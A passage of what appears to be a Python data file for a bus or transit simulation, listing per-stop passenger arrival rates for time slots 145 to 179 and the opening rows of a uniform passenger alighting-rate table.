(14.787611411224459, 10.851014761144963, 12.744960848749933, 13.235433973351956, 11.67823835562988, 5.641949962691953, 4.7206269189103445, 4.300506357356382, 6.164783949884672, 2.381798880439195, 1.865142359338619, 1.110248735389127, 0.0, 15.618688926790139, 12.212736089280396, 9.325711796693094, 7.145396641317584, 12.329567899769344, 6.020708900298935, 4.7206269189103445, 4.029964259065681, 5.83911917781494, 4.411811324450653, 2.548992169749987, 0.986455887376815, 0.0), # 145
(14.69871631912923, 10.771641555018533, 12.695504316861326, 13.174064254327444, 11.62876122378119, 5.62517453957884, 4.690488348549297, 4.289984517290195, 6.1495703325441635, 2.3693068764485874, 1.8558835487472447, 1.104986065559103, 0.0, 15.551362496048613, 12.154846721150133, 9.279417743736223, 7.107920629345761, 12.299140665088327, 6.005978324206273, 4.690488348549297, 4.0179818139848855, 5.814380611890595, 4.391354751442482, 2.539100863372265, 0.9792401413653213, 0.0), # 146
(14.607595753899481, 10.690320021435666, 12.644491157732865, 13.110864015050435, 11.577883318388821, 5.607790895529226, 4.659534477124183, 4.278972640403562, 6.133769969063274, 2.3564369896043162, 1.846336082060411, 1.0995636642520668, 0.0, 15.482110622148213, 12.095200306772732, 9.231680410302054, 7.069310968812948, 12.267539938126548, 5.990561696564987, 4.659534477124183, 4.005564925378019, 5.7889416591944105, 4.370288005016812, 2.5288982315465733, 0.9718472746759697, 0.0), # 147
(14.51418425713624, 10.606950528501175, 12.591862254376625, 13.045761727203324, 11.525568490944673, 5.5897700465174065, 4.627724380310364, 4.2674358965446935, 6.1173532789032175, 2.3431703836313016, 1.836485409931195, 1.0939746359148106, 0.0, 15.410878776629895, 12.033720995062914, 9.182427049655974, 7.029511150893903, 12.234706557806435, 5.974410255162571, 4.627724380310364, 3.9926928903695758, 5.762784245472337, 4.348587242401109, 2.5183724508753254, 0.9642682298637433, 0.0), # 148
(14.418416370440541, 10.52143344431987, 12.537558489804665, 12.97868586246851, 11.471780592940643, 5.57108300851767, 4.595017133783196, 4.255339455561801, 6.100290681525203, 2.3294882222544664, 1.8263169830126733, 1.0882120849941288, 0.0, 15.337612431034628, 11.970332934935415, 9.131584915063366, 6.988464666763398, 12.200581363050405, 5.957475237786521, 4.595017133783196, 3.9793450060840496, 5.735890296470322, 4.326228620822837, 2.507511697960933, 0.9564939494836247, 0.0), # 149
(14.320226635413416, 10.433669136996565, 12.481520747029043, 12.909564892528387, 11.416483475868631, 5.551700797504312, 4.561371813218041, 4.242648487303093, 6.0825525963904505, 2.31537166919873, 1.815816251957923, 1.0822691159368145, 0.0, 15.262257056903364, 11.904960275304958, 9.079081259789614, 6.946115007596189, 12.165105192780901, 5.93970788222433, 4.561371813218041, 3.9655005696459367, 5.7082417379343156, 4.303188297509463, 2.4963041494058085, 0.948515376090597, 0.0), # 150
(14.219549593655895, 10.343557974636072, 12.423689909061814, 12.838327289065347, 11.359640991220532, 5.531594429451621, 4.526747494290255, 4.229328161616783, 6.064109442960174, 2.3008018881890155, 1.8049686674200216, 1.0761388331896609, 0.0, 15.184758125777073, 11.837527165086268, 9.024843337100108, 6.902405664567045, 12.128218885920347, 5.921059426263496, 4.526747494290255, 3.951138878179729, 5.679820495610266, 4.27944242968845, 2.484737981812363, 0.9403234522396431, 0.0), # 151
(14.116319786769019, 10.251000325343204, 12.364006858915053, 12.76490152376179, 11.301216990488243, 5.510734920333892, 4.491103252675198, 4.215343648351081, 6.044931640695582, 2.2857600429502427, 1.7937596800520466, 1.0698143411994616, 0.0, 15.105061109196717, 11.767957753194075, 8.968798400260232, 6.857280128850727, 12.089863281391164, 5.901481107691514, 4.491103252675198, 3.936239228809923, 5.650608495244121, 4.254967174587264, 2.4728013717830106, 0.931909120485746, 0.0), # 152
(14.010471756353809, 10.155896557222773, 12.302412479600802, 12.68921606830011, 11.241175325163667, 5.489093286125417, 4.454398164048228, 4.200660117354197, 6.024989609057894, 2.2702272972073336, 1.782174740507075, 1.0632887444130097, 0.0, 15.02311147870325, 11.696176188543106, 8.910873702535374, 6.810681891622, 12.049979218115787, 5.880924164295876, 4.454398164048228, 3.920780918661012, 5.620587662581833, 4.229738689433371, 2.4604824959201608, 0.9232633233838886, 0.0), # 153
(13.901940044011312, 10.05814703837959, 12.238847654131138, 12.611199394362703, 11.179479846738696, 5.466640542800487, 4.416591304084705, 4.185242738474343, 6.00425376750832, 2.254184814685209, 1.7701992994381837, 1.0565551472770989, 0.0, 14.938854705837642, 11.622106620048086, 8.850996497190918, 6.762554444055626, 12.00850753501664, 5.85933983386408, 4.416591304084705, 3.904743244857491, 5.589739923369348, 4.203733131454236, 2.447769530826228, 0.9143770034890537, 0.0), # 154
(13.790659191342543, 9.957652136918465, 12.173253265518113, 12.530779973631962, 11.116094406705237, 5.443347706333395, 4.377641748459985, 4.169056681559727, 5.982694535508077, 2.23761375910879, 1.7578188074984502, 1.0496066542385225, 0.0, 14.852236262140847, 11.545673196623744, 8.789094037492251, 6.712841277326369, 11.965389071016155, 5.836679354183619, 4.377641748459985, 3.8881055045238533, 5.5580472033526185, 4.176926657877321, 2.4346506531036227, 0.9052411033562243, 0.0), # 155
(13.676563739948545, 9.854312220944214, 12.10557019677379, 12.447886277790282, 11.050982856555176, 5.419185792698435, 4.33750857284943, 4.152067116458564, 5.960282332518376, 2.220495294202998, 1.7450187153409518, 1.0424363697440735, 0.0, 14.763201619153833, 11.466800067184806, 8.725093576704758, 6.661485882608993, 11.920564665036752, 5.81289396304199, 4.33750857284943, 3.870846994784596, 5.525491428277588, 4.149295425930095, 2.4211140393547583, 0.8958465655403832, 0.0), # 156
(13.559588231430352, 9.748027658561648, 12.035739330910227, 12.362446778520066, 10.984109047780422, 5.394125817869895, 4.296150852928397, 4.134239213019062, 5.9369875780004335, 2.202810583692754, 1.731784473618765, 1.0350373982405456, 0.0, 14.671696248417557, 11.385411380646001, 8.658922368093824, 6.60843175107826, 11.873975156000867, 5.787934898226687, 4.296150852928397, 3.8529470127642105, 5.492054523890211, 4.120815592840023, 2.407147866182046, 0.8861843325965136, 0.0), # 157
(13.43642570352943, 9.636747649274225, 11.960387930853534, 12.27118893522918, 10.912417327045198, 5.366575700132966, 4.252596048835072, 4.1143477142620295, 5.910997254959458, 2.1840146623310153, 1.717678725761683, 1.027139934629151, 0.0, 14.573674546947622, 11.298539280920659, 8.588393628808413, 6.552043986993045, 11.821994509918916, 5.7600867999668415, 4.252596048835072, 3.833268357237833, 5.456208663522599, 4.090396311743061, 2.3920775861707066, 0.8760679681158388, 0.0), # 158
(13.288116180561124, 9.509057777339137, 11.860106727604483, 12.155369164364412, 10.818229571737954, 5.327374130407459, 4.201391487047145, 4.085410149573287, 5.871856356733287, 2.161026447344436, 1.7002250806856987, 1.0172043785524665, 0.0, 14.445769764456351, 11.189248164077128, 8.501125403428492, 6.483079342033307, 11.743712713466573, 5.719574209402602, 4.201391487047145, 3.8052672360053275, 5.409114785868977, 4.051789721454805, 2.372021345520897, 0.8644597979399218, 0.0), # 159
(13.112769770827757, 9.363909602092178, 11.732881436933834, 12.013079639051961, 10.699704157616154, 5.275558360850069, 4.142019373545406, 4.04669939214551, 5.818455136337191, 2.1335425433383026, 1.6791778525828622, 1.0050752923331772, 0.0, 14.285557096008445, 11.055828215664945, 8.39588926291431, 6.400627630014906, 11.636910272674381, 5.665379149003714, 4.142019373545406, 3.7682559720357633, 5.349852078808077, 4.004359879683988, 2.346576287386767, 0.8512645092811072, 0.0), # 160
(12.911799698254727, 9.202249432332774, 11.580070457865464, 11.845672880071582, 10.558071749138534, 5.21175610364883, 4.0749133014061885, 3.9987003998323356, 5.751497860199411, 2.101796186926922, 1.6547224963799123, 0.9908651203361357, 0.0, 14.094673280674375, 10.899516323697492, 8.273612481899562, 6.305388560780765, 11.502995720398822, 5.59818055976527, 4.0749133014061885, 3.722682931177736, 5.279035874569267, 3.9485576266905285, 2.3160140915730927, 0.8365681302120704, 0.0), # 161
(12.686619186767443, 9.025023576860344, 11.403032189423245, 11.654501408203041, 10.394563010763845, 5.1365950709917785, 4.000506863705828, 3.941898130487402, 5.6716887947481816, 2.0660206147246045, 1.6270444670035862, 0.9746863069261941, 0.0, 13.874755057524599, 10.721549376188133, 8.13522233501793, 6.198061844173813, 11.343377589496363, 5.518657382682362, 4.000506863705828, 3.668996479279842, 5.197281505381922, 3.884833802734348, 2.280606437884649, 0.8204566888054858, 0.0), # 162
(12.438641460291295, 8.833178344474314, 11.203125030631053, 11.44091774422611, 10.210408606950825, 5.050702975066952, 3.919233653520661, 3.876777541964344, 5.579732206411743, 2.0264490633456567, 1.5963292193806227, 0.956651296468205, 0.0, 13.627439165629584, 10.523164261150253, 7.9816460969031136, 6.079347190036969, 11.159464412823485, 5.427488558750082, 3.919233653520661, 3.6076449821906795, 5.105204303475412, 3.813639248075371, 2.2406250061262107, 0.8030162131340287, 0.0), # 163
(12.16927974275169, 8.627660043974105, 10.981707380512765, 11.206274408920553, 10.006839202158226, 4.954707528062387, 3.8315272639270197, 3.8038235921168018, 5.476332361618334, 1.9833147694043862, 1.562762208437759, 0.9368725333270206, 0.0, 13.35436234405979, 10.305597866597225, 7.813811042188794, 5.949944308213158, 10.952664723236667, 5.325353028963523, 3.8315272639270197, 3.5390768057588473, 5.003419601079113, 3.735424802973519, 2.1963414761025533, 0.7843327312703733, 0.0), # 164
(11.879947258074031, 8.409414984159142, 10.740137638092254, 10.95192392306614, 9.785085460844787, 4.849236442166116, 3.7378212880012396, 3.7235212387984102, 5.3621935267961875, 1.9368509695151015, 1.5265288891017337, 0.915462461867493, 0.0, 13.057161331885686, 10.070087080542422, 7.632644445508667, 5.810552908545303, 10.724387053592375, 5.2129297343177745, 3.7378212880012396, 3.4637403158329394, 4.892542730422393, 3.6506413076887143, 2.148027527618451, 0.7644922712871949, 0.0), # 165
(11.572057230183715, 8.17938947382885, 10.479774202393392, 10.679218807442627, 9.546378047469258, 4.734917429566179, 3.6385493188196576, 3.636355439862808, 5.2380199683735436, 1.8872909002921108, 1.4878147162992839, 0.8925335264544754, 0.0, 12.737472868177733, 9.817868790999228, 7.4390735814964195, 5.661872700876331, 10.476039936747087, 5.090897615807931, 3.6385493188196576, 3.3820838782615565, 4.773189023734629, 3.5597396024808767, 2.0959548404786785, 0.7435808612571683, 0.0), # 166
(11.24702288300614, 7.938529821782648, 10.201975472440058, 10.389511582829789, 9.291947626490376, 4.6123782024506115, 3.5341449494586072, 3.542811153163632, 5.104515952778639, 1.834867798349722, 1.4468051449571482, 0.8681981714528189, 0.0, 12.396933692006392, 9.550179885981006, 7.23402572478574, 5.504603395049164, 10.209031905557278, 4.959935614429085, 3.5341449494586072, 3.2945558588932937, 4.645973813245188, 3.4631705276099303, 2.040395094488012, 0.7216845292529681, 0.0), # 167
(10.906257440466712, 7.687782336819962, 9.908099847256123, 10.084154770007387, 9.023024862366888, 4.482246473007449, 3.425041772994424, 3.44337333655452, 4.962385746439713, 1.779814900302243, 1.4036856300020644, 0.8425688412273767, 0.0, 12.037180542442131, 9.268257253501142, 7.018428150010321, 5.339444700906728, 9.924771492879426, 4.820722671176328, 3.425041772994424, 3.2016046235767495, 4.511512431183444, 3.361384923335797, 1.9816199694512246, 0.6988893033472693, 0.0), # 168
(10.551174126490828, 7.428093327740216, 9.599505725865463, 9.76450088975519, 8.740840419557543, 4.3451499534247295, 3.3116733825034426, 3.338526947889109, 4.812333615785002, 1.7223654427639818, 1.3586416263607706, 0.8157579801430009, 0.0, 11.659850158555415, 8.97333778157301, 6.793208131803853, 5.167096328291944, 9.624667231570005, 4.673937727044753, 3.3116733825034426, 3.103678538160521, 4.370420209778771, 3.254833629918398, 1.9199011451730927, 0.675281211612747, 0.0), # 169
(10.18318616500389, 7.160409103342831, 9.277551507291953, 9.43190246285296, 8.44662496252108, 4.201716355890488, 3.1944733710619975, 3.228756945021036, 4.655063827242743, 1.6627526623492466, 1.311858588960005, 0.7878780325645439, 0.0, 11.2665792794167, 8.666658358209983, 6.559292944800025, 4.988257987047739, 9.310127654485486, 4.52025972302945, 3.1944733710619975, 3.0012259684932054, 4.22331248126054, 3.1439674876176547, 1.8555103014583907, 0.6509462821220756, 0.0), # 170
(9.8037067799313, 6.88567597242723, 8.943595590559468, 9.087712010080473, 8.141609155716246, 4.052573392592758, 3.0738753317464247, 3.1145482858039375, 4.491280647241173, 1.6012097956723452, 1.2635219727265048, 0.759041442856858, 0.0, 10.859004644096458, 8.349455871425437, 6.317609863632523, 4.803629387017034, 8.982561294482347, 4.360367600125513, 3.0738753317464247, 2.8946952804233987, 4.070804577858123, 3.029237336693492, 1.7887191181118935, 0.6259705429479302, 0.0), # 171
(9.414149195198457, 6.604840243792839, 8.59899637469188, 8.733282052217486, 7.827023663601784, 3.898348775719581, 2.950312857633059, 2.996385928091453, 4.321688342208532, 1.5379700793475863, 1.2138172325870082, 0.7293606553847958, 0.0, 10.438762991665145, 8.022967209232752, 6.069086162935041, 4.613910238042758, 8.643376684417063, 4.194940299328034, 2.950312857633059, 2.7845348397997007, 3.913511831800892, 2.911094017405829, 1.7197992749383764, 0.6004400221629854, 0.0), # 172
(9.015926634730764, 6.31884822623908, 8.245112258713068, 8.369965110043767, 7.504099150636442, 3.739670217458989, 2.824219541798235, 2.874754829737218, 4.146991178573053, 1.4732667499892769, 1.1629298234682535, 0.6989481145132089, 0.0, 10.007491061193234, 7.6884292596452966, 5.8146491173412675, 4.41980024996783, 8.293982357146106, 4.024656761632105, 2.824219541798235, 2.6711930124707064, 3.752049575318221, 2.7899883700145893, 1.6490224517426137, 0.5744407478399164, 0.0), # 173
(8.610452322453618, 6.028646228565374, 7.883301641646902, 7.99911370433908, 7.174066281278959, 3.57716542999902, 2.6960289773182877, 2.7501399485948705, 3.9678934227629785, 1.4073330442117262, 1.1110452002969786, 0.6679162646069503, 0.0, 9.566825591751181, 7.347078910676452, 5.555226001484892, 4.221999132635178, 7.935786845525957, 3.850195928032819, 2.6960289773182877, 2.5551181642850143, 3.5870331406394795, 2.6663712347796937, 1.5766603283293805, 0.5480587480513978, 0.0), # 174
(8.19913948229242, 5.7351805595711465, 7.514922922517262, 7.622080355883197, 6.838155719988082, 3.41146212552771, 2.566174757269552, 2.623026242518047, 3.7850993412065432, 1.3404021986292411, 1.058348817999921, 0.6363775500308723, 0.0, 9.118403322409455, 7.000153050339593, 5.291744089999604, 4.021206595887723, 7.5701986824130865, 3.6722367395252657, 2.566174757269552, 2.4367586610912215, 3.419077859994041, 2.540693451961066, 1.5029845845034526, 0.5213800508701043, 0.0), # 175
(7.783401338172574, 5.43939752805582, 7.141334500348018, 7.240217585455879, 6.497598131222556, 3.2431880162330953, 2.4350904747283635, 2.493898669360387, 3.5993132003319848, 1.2727074498561304, 1.0050261315038191, 0.6044444151498269, 0.0, 8.663860992238513, 6.648888566648095, 5.025130657519095, 3.8181223495683905, 7.1986264006639695, 3.4914581371045417, 2.4350904747283635, 2.3165628687379254, 3.248799065611278, 2.4134058618186267, 1.4282669000696038, 0.49449068436871096, 0.0), # 176
(7.364651114019479, 5.1422434428188195, 6.763894774163046, 6.8548779138368925, 6.1536241794411275, 3.0729708143032117, 2.303209722771056, 2.3632421869755245, 3.411239266567542, 1.2044820345067013, 0.9512625957354108, 0.5722293043286669, 0.0, 8.204835340308824, 6.2945223476153345, 4.756312978677054, 3.6134461035201033, 6.822478533135084, 3.3085390617657344, 2.303209722771056, 2.1949791530737226, 3.0768120897205637, 2.284959304612298, 1.3527789548326095, 0.4674766766198928, 0.0), # 177
(6.944302033758534, 4.8446646126595665, 6.383962142986221, 6.467413861806007, 5.807464529102536, 2.901438231926097, 2.170966094473966, 2.2315417532170994, 3.2215818063414514, 1.1359591891952627, 0.897243665621434, 0.5398446619322442, 0.0, 7.742963105690853, 5.938291281254685, 4.486218328107169, 3.4078775675857873, 6.443163612682903, 3.1241584545039394, 2.170966094473966, 2.072455879947212, 2.903732264551268, 2.1558046206020025, 1.2767924285972443, 0.44042405569632426, 0.0), # 178
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 179
)
passenger_allighting_rate = (
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 0
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 1
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 2
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 3
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 4
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 5
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 6
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 7
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 8
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 9
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 10
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 11
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 12
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 13
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 14
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 15
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 16
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 17
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 18
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 19
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 20
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 21
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 22
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 23
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 24
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 25
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 26
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 27
